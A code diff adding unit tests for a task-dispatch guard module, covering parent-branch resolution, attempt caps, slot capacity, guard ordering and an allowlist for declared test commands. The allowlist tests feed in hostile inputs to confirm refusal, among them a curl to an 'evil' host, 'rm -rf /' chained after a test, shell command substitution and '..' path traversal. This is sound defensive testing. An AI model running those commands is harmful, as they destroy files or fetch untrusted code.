+    const task = baseTask({ parentId: 'T-4', attempts: 3 });
+    const result = evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, [
+      'main',
+    ]);
+    assert.equal(result.kind, 'block');
+    if (result.kind === 'block') {
+      assert.equal(result.reason, 'missing-parent-branch');
+    }
+  });
+
+  // T-52: the Worktree Gate now mandates `task/T-nn` for any task on the board, interactive or
+  // dispatched, so a subtask launches once ITS PARENT's `task/<parentId>` branch is on the remote —
+  // no separate declaration needed.
+  it("launches a subtask whose parent's task/<parentId> branch is on the remote", () => {
+    const board: Board = {
+      tasksById: {
+        'T-4': baseTask({ id: 'T-4' }),
+      },
+    };
+    const task = baseTask({ parentId: 'T-4' });
+    const result = evaluateGuards(task, board, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, [
+      'main',
+      'task/T-4',
+    ]);
+    assert.equal(result.kind, 'launch');
+  });
+
+  // The failure names the candidates found on the remote, not just
+  // the branch that was tried.
+  it('names the candidate remote branches in the block comment when the base is missing', () => {
+    const task = baseTask({ parentId: 'T-4' });
+    const result = evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, [
+      'main',
+      'wip-T-4-rescue',
+    ]);
+    assert.equal(result.kind, 'block');
+    if (result.kind === 'block') {
+      assert.equal(result.reason, 'missing-parent-branch');
+      assert.match(result.comment, /wip-T-4-rescue/);
+    }
+  });
+
+  it('says explicitly when no candidate branch was found either', () => {
+    const task = baseTask({ parentId: 'T-4' });
+    const result = evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, [
+      'main',
+    ]);
+    assert.equal(result.kind, 'block');
+    if (result.kind === 'block') {
+      assert.match(result.comment, /ninguna rama/i);
+    }
+  });
+
+  // T-52 fix round B3: this guard used to also read `board.complete`/`board.tasksById` (T-15's
+  // declared-branch chain — a transient board-read failure could make a real declaration look
+  // absent), so an INCOMPLETE board read a subtask's missing base as "wait", not "block". Now that
+  // `resolveTaskBase` resolves purely off `task.parentId` and the live `remoteBranches` — never the
+  // board — board completeness has no bearing on the answer at all: it must block exactly the same
+  // whether the board read that pass was complete, incomplete, or the `complete` field is absent
+  // entirely. A guard that still waited here would leave a subtask stuck in `Queued` forever on a
+  // board read that fails persistently, even with `task/<parentId>` published and the resolution
+  // fully determined.
+  it('blocks on an INCOMPLETE board exactly as it would on a complete one — board completeness is irrelevant', () => {
+    const incompleteBoard: Board = { tasksById: {}, complete: false };
+    const task = baseTask({ parentId: 'T-4' });
+    const result = evaluateGuards(
+      task,
+      incompleteBoard,
+      freeSlots(),
+      DEFAULT_DISPATCH_LIMITS,
+      null,
+      ['main'],
+    );
+    assert.equal(result.kind, 'block');
+    if (result.kind === 'block') {
+      assert.equal(result.reason, 'missing-parent-branch');
+    }
+  });
+
+  it('launches on an INCOMPLETE board too, once task/<parentId> is on the remote', () => {
+    const incompleteBoard: Board = { tasksById: {}, complete: false };
+    const task = baseTask({ parentId: 'T-4' });
+    const result = evaluateGuards(
+      task,
+      incompleteBoard,
+      freeSlots(),
+      DEFAULT_DISPATCH_LIMITS,
+      null,
+      ['main', 'task/T-4'],
+    );
+    assert.equal(result.kind, 'launch');
+  });
+
+  it('resolves the same whether board.complete is true, false, or omitted entirely', () => {
+    const task = baseTask({ parentId: 'T-4' });
+    const outcomes = [{ complete: true }, { complete: false }, {}].map(
+      (fields) =>
+        evaluateGuards(
+          task,
+          { tasksById: {}, ...fields },
+          freeSlots(),
+          DEFAULT_DISPATCH_LIMITS,
+          null,
+          ['main'],
+        ).kind,
+    );
+    assert.deepEqual(outcomes, ['block', 'block', 'block']);
+  });
+});
+
+// ── Guard 5: attempts exhausted ────────────────────────────────────────────────
+
+describe('evaluateGuards — guard 5: attempts exhausted', () => {
+  it('blocks when attempts already reached the cap (3)', () => {
+    const task = baseTask({ attempts: 3 });
+    const result = evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, []);
+    assert.equal(result.kind, 'block');
+    if (result.kind === 'block') {
+      assert.equal(result.reason, 'attempts-exhausted');
+    }
+  });
+
+  it('does not block below the cap', () => {
+    const task = baseTask({ attempts: 2 });
+    const result = evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, []);
+    assert.notEqual(result.kind, 'block');
+  });
+
+  // J4: the cap is `lanes.json`'s `attempts`, not a constant compiled into the module.
+  it('reads the cap from the injected limits, not from the module default', () => {
+    const limits = { ...DEFAULT_DISPATCH_LIMITS, maxAttempts: 5 };
+    const belowRaisedCap = evaluateGuards(
+      baseTask({ attempts: 3 }),
+      emptyBoard,
+      freeSlots(),
+      limits,
+      null,
+      [],
+    );
+    assert.notEqual(belowRaisedCap.kind, 'block');
+
+    const atRaisedCap = evaluateGuards(
+      baseTask({ attempts: 5 }),
+      emptyBoard,
+      freeSlots(),
+      limits,
+      null,
+      [],
+    );
+    assert.equal(atRaisedCap.kind, 'block');
+    if (atRaisedCap.kind === 'block') {
+      assert.equal(atRaisedCap.reason, 'attempts-exhausted');
+      assert.match(atRaisedCap.comment, /5 intentos/);
+    }
+  });
+});
+
+// ── Guard 6: no free slot ──────────────────────────────────────────────────────
+
+describe('evaluateGuards — guard 6: no free slot', () => {
+  it('waits (requeues) when the local lane cap (1) is already occupied', () => {
+    const busySlots: SlotRegistry = {
+      slots: [
+        {
+          name: 'dispatch-a',
+          path: '/slots/a',
+          lane: LANE.LOCAL,
+          taskId: 'T-9',
+          pid: 123,
+          lockfileHash: null,
+        },
+        {
+          name: 'dispatch-b',
+          path: '/slots/b',
+          lane: null,
+          taskId: null,
+          pid: null,
+          lockfileHash: null,
+        },
+        {
+          name: 'dispatch-c',
+          path: '/slots/c',
+          lane: null,
+          taskId: null,
+          pid: null,
+          lockfileHash: null,
+        },
+      ],
+    };
+    const task = baseTask({ lane: LANE.LOCAL });
+    const result = evaluateGuards(task, emptyBoard, busySlots, DEFAULT_DISPATCH_LIMITS, null, []);
+    assert.equal(result.kind, 'wait');
+    if (result.kind === 'wait') {
+      assert.equal(result.reason, 'no-free-slot');
+    }
+  });
+
+  it('waits when both of the frontier lane slots (cap 2) are occupied', () => {
+    const busySlots: SlotRegistry = {
+      slots: [
+        {
+          name: 'dispatch-a',
+          path: '/slots/a',
+          lane: LANE.FRONTIER,
+          taskId: 'T-8',
+          pid: 1,
+          lockfileHash: null,
+        },
+        {
+          name: 'dispatch-b',
+          path: '/slots/b',
+          lane: LANE.FRONTIER,
+          taskId: 'T-9',
+          pid: 2,
+          lockfileHash: null,
+        },
+        {
+          name: 'dispatch-c',
+          path: '/slots/c',
+          lane: null,
+          taskId: null,
+          pid: null,
+          lockfileHash: null,
+        },
+      ],
+    };
+    const task = baseTask({ lane: LANE.FRONTIER, tier: 'medium' });
+    const result = evaluateGuards(task, emptyBoard, busySlots, DEFAULT_DISPATCH_LIMITS, null, []);
+    assert.equal(result.kind, 'wait');
+    if (result.kind === 'wait') {
+      assert.equal(result.reason, 'no-free-slot');
+    }
+  });
+
+  it('launches when a slot is free for the lane', () => {
+    const task = baseTask({ lane: LANE.LOCAL });
+    const result = evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, []);
+    assert.equal(result.kind, 'launch');
+  });
+
+  // G15: "no free slot" and "your own work has not reached the remote yet" are different
+  // situations, and only the second one tells a reader why re-queueing changes nothing.
+  it('reports push-pending, not no-free-slot, when the task own slot is held for recovery', () => {
+    const heldSlots: SlotRegistry = {
+      slots: [
+        {
+          name: 'dispatch-a',
+          path: '/slots/a',
+          lane: LANE.LOCAL,
+          taskId: 'T-1',
+          pid: null,
+          lockfileHash: null,
+          heldForRecovery: true,
+        },
+        {
+          name: 'dispatch-b',
+          path: '/slots/b',
+          lane: null,
+          taskId: null,
+          pid: null,
+          lockfileHash: null,
+        },
+        {
+          name: 'dispatch-c',
+          path: '/slots/c',
+          lane: null,
+          taskId: null,
+          pid: null,
+          lockfileHash: null,
+        },
+      ],
+    };
+    const result = evaluateGuards(
+      baseTask({ id: 'T-1' }),
+      emptyBoard,
+      heldSlots,
+      DEFAULT_DISPATCH_LIMITS,
+      null,
+      [],
+    );
+    assert.deepEqual(result, { kind: 'wait', reason: 'push-pending' });
+  });
+
+  // J4: `lanes.json`'s `maxParallel` was dead config — the cap lived in a module constant, so
+  // raising it changed nothing. Raising it in the injected limits must change guard 6's outcome.
+  it('reads the per-lane cap from the injected limits, not from the module default', () => {
+    const busySlots: SlotRegistry = {
+      slots: [
+        {
+          name: 'dispatch-a',
+          path: '/slots/a',
+          lane: LANE.LOCAL,
+          taskId: 'T-9',
+          pid: 123,
+          lockfileHash: null,
+        },
+        {
+          name: 'dispatch-b',
+          path: '/slots/b',
+          lane: null,
+          taskId: null,
+          pid: null,
+          lockfileHash: null,
+        },
+      ],
+    };
+    const task = baseTask({ lane: LANE.LOCAL });
+    assert.equal(
+      evaluateGuards(task, emptyBoard, busySlots, DEFAULT_DISPATCH_LIMITS, null, []).kind,
+      'wait',
+    );
+
+    const raised = {
+      ...DEFAULT_DISPATCH_LIMITS,
+      capacity: { ...DEFAULT_DISPATCH_LIMITS.capacity, local: 2 },
+    };
+    assert.equal(evaluateGuards(task, emptyBoard, busySlots, raised, null, []).kind, 'launch');
+  });
+
+  it('still reports no-free-slot when the held slot belongs to a DIFFERENT task', () => {
+    const heldSlots: SlotRegistry = {
+      slots: [
+        {
+          name: 'dispatch-a',
+          path: '/slots/a',
+          lane: LANE.LOCAL,
+          taskId: 'T-9',
+          pid: null,
+          lockfileHash: null,
+          heldForRecovery: true,
+        },
+        {
+          name: 'dispatch-b',
+          path: '/slots/b',
+          lane: null,
+          taskId: null,
+          pid: null,
+          lockfileHash: null,
+        },
+      ],
+    };
+    const result = evaluateGuards(
+      baseTask({ id: 'T-1' }),
+      emptyBoard,
+      heldSlots,
+      DEFAULT_DISPATCH_LIMITS,
+      null,
+      [],
+    );
+    assert.deepEqual(result, { kind: 'wait', reason: 'no-free-slot' });
+  });
+});
+
+// ── Ordering: first matching guard wins ───────────────────────────────────────
+
+describe('evaluateGuards — evaluation order', () => {
+  it('reports missing triage even when the task would also fail a later guard', () => {
+    // Missing lane AND (incidentally) attempts exhausted — guard 1 must win.
+    const task = baseTask({ lane: undefined, attempts: 5 });
+    const result = evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, []);
+    assert.equal(result.kind, 'block');
+    if (result.kind === 'block') {
+      assert.equal(result.reason, 'missing-triage');
+    }
+  });
+
+  // F6: guard 4b sits downstream of guard 1 (and 1b) — a task with NO triage at all must never
+  // reach `resolveTaskBase`, whatever its `parentId` or the live remote list say.
+  it('reports missing triage before the missing-parent-branch check, even for a subtask', () => {
+    const task = baseTask({ tier: undefined, parentId: 'T-4' });
+    const result = evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, []);
+    assert.equal(result.kind, 'block');
+    if (result.kind === 'block') {
+      assert.equal(result.reason, 'missing-triage');
+    }
+  });
+
+  it('reports complex-on-local before checking dependencies', () => {
+    const task = baseTask({ tier: 'complex', lane: LANE.LOCAL, dependsOn: ['unknown'] });
+    const result = evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, []);
+    assert.equal(result.kind, 'block');
+    if (result.kind === 'block') {
+      assert.equal(result.reason, 'complex-on-local');
+    }
+  });
+
+  it('reports supervised-mode before checking dependencies', () => {
+    const task = baseTask({ mode: MODE.SUPERVISED, dependsOn: ['unknown'] });
+    const result = evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, []);
+    assert.equal(result.kind, 'block');
+    if (result.kind === 'block') {
+      assert.equal(result.reason, 'supervised-mode');
+    }
+  });
+
+  it('reports the unmet dependency before the security-path check', () => {
+    const securityFile = SECURITY_PATH_PATTERNS[0];
+    const board: Board = {
+      tasksById: { 'T-2': baseTask({ id: 'T-2', status: TASK_STATUS.TO_DO }) },
+    };
+    const task = baseTask({
+      lane: LANE.LOCAL,
+      dependsOn: ['T-2'],
+      filesToTouch: [`backend/src/${securityFile}foo.ts`],
+    });
+    const result = evaluateGuards(task, board, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, []);
+    assert.equal(result.kind, 'wait');
+    if (result.kind === 'wait') {
+      assert.equal(result.reason, 'dependency-not-done');
+    }
+  });
+
+  it('reports the security path before the attempts-exhausted check', () => {
+    const securityFile = SECURITY_PATH_PATTERNS[0];
+    const task = baseTask({
+      lane: LANE.LOCAL,
+      filesToTouch: [`backend/src/${securityFile}foo.ts`],
+      attempts: 3,
+    });
+    const result = evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, []);
+    assert.equal(result.kind, 'block');
+    if (result.kind === 'block') {
+      assert.equal(result.reason, 'security-path-on-local');
+    }
+  });
+});
+
+// ── taskBaseBranch / resolveTaskBase: the resolution (T-14, T-15 → T-52) ─────────
+//
+// T-52 retired the T-15 declared-branch chain: the root `CLAUDE.md`'s Worktree Gate now mandates
+// `task/T-nn` for ANY task on the board, interactive or dispatched, so `task/<parentId>` is the
+// ONLY answer — a pure deduction from the id, never read off the parent's own description.
+
+describe('taskBaseBranch', () => {
+  it("names a top-level task's base main", () => {
+    assert.equal(taskBaseBranch({ parentId: undefined }), 'main');
+  });
+
+  it('names a subtask base task/<parentId>', () => {
+    assert.equal(taskBaseBranch({ parentId: 'T-4' }), 'task/T-4');
+  });
+});
+
+describe('resolveTaskBase', () => {
+  it('a top-level task is always ok, regardless of the remote list', () => {
+    assert.deepEqual(resolveTaskBase({ parentId: undefined }, []), {
+      kind: 'ok',
+      branch: 'main',
+    });
+  });
+
+  it("a subtask is ok when its parent's task/<id> branch is on the remote", () => {
+    assert.deepEqual(resolveTaskBase({ parentId: 'T-4' }, ['main', 'task/T-4']), {
+      kind: 'ok',
+      branch: 'task/T-4',
+    });
+  });
+
+  it("a subtask is missing-parent-branch when task/<id> is not on the remote", () => {
+    const result = resolveTaskBase({ parentId: 'T-4' }, ['main']);
+    assert.equal(result.kind, 'missing-parent-branch');
+    if (result.kind === 'missing-parent-branch') {
+      assert.equal(result.branch, 'task/T-4');
+    }
+  });
+
+  it('names candidate remote branches mentioning the parent id when the base is missing', () => {
+    const result = resolveTaskBase({ parentId: 'T-4' }, ['main', 'wip-T-4-not-pushed-right']);
+    assert.equal(result.kind, 'missing-parent-branch');
+    if (result.kind === 'missing-parent-branch') {
+      assert.deepEqual(result.candidates, ['wip-T-4-not-pushed-right']);
+    }
+  });
+
+  it('reports no candidates when nothing on the remote mentions the parent id at all', () => {
+    const result = resolveTaskBase({ parentId: 'T-4' }, ['main', 'task/T-9']);
+    assert.equal(result.kind, 'missing-parent-branch');
+    if (result.kind === 'missing-parent-branch') {
+      assert.deepEqual(result.candidates, []);
+    }
+  });
+
+  // The trap: `T-1` is a literal substring of `T-15`, `T-19`, `T-100`. A naive `includes` match
+  // would offer T-15's own branch as a "candidate" for T-1's missing base — actively misleading,
+  // since pushing T-1 onto that ref would branch it off a sibling subtask's unrelated work.
+  it('never proposes T-15\'s branch as a candidate for T-1 (whole-token id matching)', () => {
+    // T-15's own branch is on the remote, so resolving T-15 itself launches — nothing to prove
+    // there. The trap is on the OTHER side: T-1's base is missing, and T-15/T-19/T-100's branches
+    // (each containing "T-1" as a literal substring) sit on the remote as decoys.
+    const forT1 = resolveTaskBase({ parentId: 'T-1' }, [
+      'main',
+      'wip-T-1-rescue',
+      'task/T-15',
+      'task/T-19',
+      'task/T-100',
+    ]);
+    assert.equal(forT1.kind, 'missing-parent-branch');
+    if (forT1.kind === 'missing-parent-branch') {
+      assert.deepEqual(forT1.candidates, ['wip-T-1-rescue']);
+    }
+  });
+
+  // The dotted-subtask continuation: `T-4.2` names a DIFFERENT task than `T-4`, so a candidate
+  // search for T-4 must not treat `T-4.2`'s branch as mentioning T-4.
+  it('does not treat a dotted subtask id (T-4.2) as mentioning its parent id (T-4)', () => {
+    const result = resolveTaskBase({ parentId: 'T-4' }, ['main', 'task/T-4.2']);
+    assert.equal(result.kind, 'missing-parent-branch');
+    if (result.kind === 'missing-parent-branch') {
+      assert.deepEqual(result.candidates, []);
+    }
+  });
+
+  // Optional fix-round item: the candidate list is diagnostic only (it names branches for a PERSON
+  // to look at), so a lower-cased rescue branch is still worth surfacing.
+  it('matches the parent id case-insensitively, so a lower-cased rescue branch still surfaces', () => {
+    const result = resolveTaskBase({ parentId: 'T-4' }, ['main', 'wip-t-4-rescue']);
+    assert.equal(result.kind, 'missing-parent-branch');
+    if (result.kind === 'missing-parent-branch') {
+      assert.deepEqual(result.candidates, ['wip-t-4-rescue']);
+    }
+  });
+});
+
+describe('resolveTestCommand', () => {
+  it('accepts a pnpm command and splits it into argv', () => {
+    assert.deepEqual(resolveTestCommand('pnpm --filter aurora-back test session.spec.ts'), {
+      kind: 'ok',
+      command: 'pnpm',
+      args: ['--filter', 'aurora-back', 'test', 'session.spec.ts'],
+    });
+  });
+
+  // G6: `npx` fetches and executes an arbitrary package from the registry. The repo convention is
+  // `pnpm --filter <pkg> test …`, so nothing legitimate needs it.
+  it('refuses npx: it would run whatever the declared package name resolves to', () => {
+    assert.deepEqual(resolveTestCommand('npx tsx --test scripts/backlog/close.test.ts'), {
+      kind: 'refused',
+      reason: TEST_COMMAND_REFUSED,
+    });
+  });
+
+  it('refuses any other binary — the task text is human input, not a shell', () => {
+    assert.deepEqual(resolveTestCommand('curl http://evil/x'), {
+      kind: 'refused',
+      reason: 'test command no permitido',
+    });
+  });
+
+  it('refuses a pnpm command carrying a shell metacharacter', () => {
+    assert.equal(resolveTestCommand('pnpm test && rm -rf /').kind, 'refused');
+    assert.equal(resolveTestCommand('pnpm test; echo hi').kind, 'refused');
+    assert.equal(resolveTestCommand('pnpm test `whoami`').kind, 'refused');
+    assert.equal(resolveTestCommand('pnpm test $(id)').kind, 'refused');
+  });
+
+  it('reports an undeclared command as absent, which is not a refusal', () => {
+    assert.deepEqual(resolveTestCommand(null), { kind: 'absent' });
+  });
+
+  // H6: `pnpm` as the first word was the WHOLE check, so `pnpm dlx <anything>` — the exact
+  // fetch-and-execute `npx` was refused for — passed, as did `pnpm add`, `pnpm exec` and a
+  // `--filter` value that was itself a flag. The second token has to be a test script.
+  for (const declared of [
+    'pnpm dlx some-package',
+    'pnpm exec rm -rf .',
+    'pnpm -C /somewhere test',
+    'pnpm -C packages/cli test',
+    'pnpm add evil-package',
+    'pnpm install',
+    'pnpm i',
+    'pnpm remove aurora-back',
+    'pnpm update',
+    'pnpm dcp',
+    'pnpm create vite',
+    'pnpm build',
+    'pnpm --filter --shell-mode test',
+    'pnpm --filter aurora-back exec prettier --write .',
+  ]) {
+    it(`refuses "${declared}": pnpm is the binary, not the permission`, () => {
+      assert.equal(
+        resolveTestCommand(declared).kind,
+        'refused',
+        `${declared} must not be runnable`,
+      );
+    });
+  }
+
+  for (const declared of [
+    'pnpm test',
+    'pnpm run test',
+    'pnpm test:backlog',
+    'pnpm run test:backlog --verbose',
+    'pnpm cli:test',
+    'pnpm --filter aurora-back test',
+    'pnpm --filter aurora-back run test session.spec.ts',
+    'pnpm --filter @aurora/core-front test:unit',
+  ]) {
+    it(`accepts "${declared}": it is this repo's own test convention`, () => {
+      assert.equal(resolveTestCommand(declared).kind, 'ok', `${declared} must stay runnable`);
+    });
+  }
+
+  it('splits a quoted argument as one token, not on the inner spaces', () => {
+    assert.deepEqual(resolveTestCommand('pnpm test -- "a b.spec.ts"'), {
+      kind: 'ok',
+      command: 'pnpm',
+      args: ['test', '--', 'a b.spec.ts'],
+    });
+  });
+
+  // J11: `packages/cli` is deliberately NOT a workspace member, so `--filter` matches nothing
+  // there and `pnpm --dir packages/cli test` is the ONLY way to test it. The path is bounded to a
+  // RELATIVE one inside this repo: an absolute path or a `..` segment reaches out of the slot,
+  // which is exactly what the allowlist exists to prevent.
+  for (const declared of [
+    'pnpm --dir packages/cli test',
+    'pnpm --dir packages/cli run test',
+    'pnpm --dir ./packages/cli test:unit some.spec.ts',
+  ]) {
+    it(`accepts "${declared}": a relative --dir is how a non-workspace package is tested`, () => {
+      assert.equal(resolveTestCommand(declared).kind, 'ok', `${declared} must be runnable`);
+    });
+  }
+
+  for (const declared of [
+    'pnpm --dir /somewhere test',
+    'pnpm --dir ../../elsewhere test',
+    'pnpm --dir packages/../../etc test',
+    'pnpm --dir --shell-mode test',
+    'pnpm --dir test',
+  ]) {
+    it(`refuses "${declared}": --dir may only name a relative path inside the slot`, () => {
+      assert.equal(
+        resolveTestCommand(declared).kind,
+        'refused',
+        `${declared} must not be runnable`,
+      );
+    });
+  }
+
+  it('keeps --dir in the argv it hands the spawn, so the command actually runs in that package', () => {
+    assert.deepEqual(resolveTestCommand('pnpm --dir packages/cli test'), {
+      kind: 'ok',
+      command: 'pnpm',
+      args: ['--dir', 'packages/cli', 'test'],
+    });
+  });
+});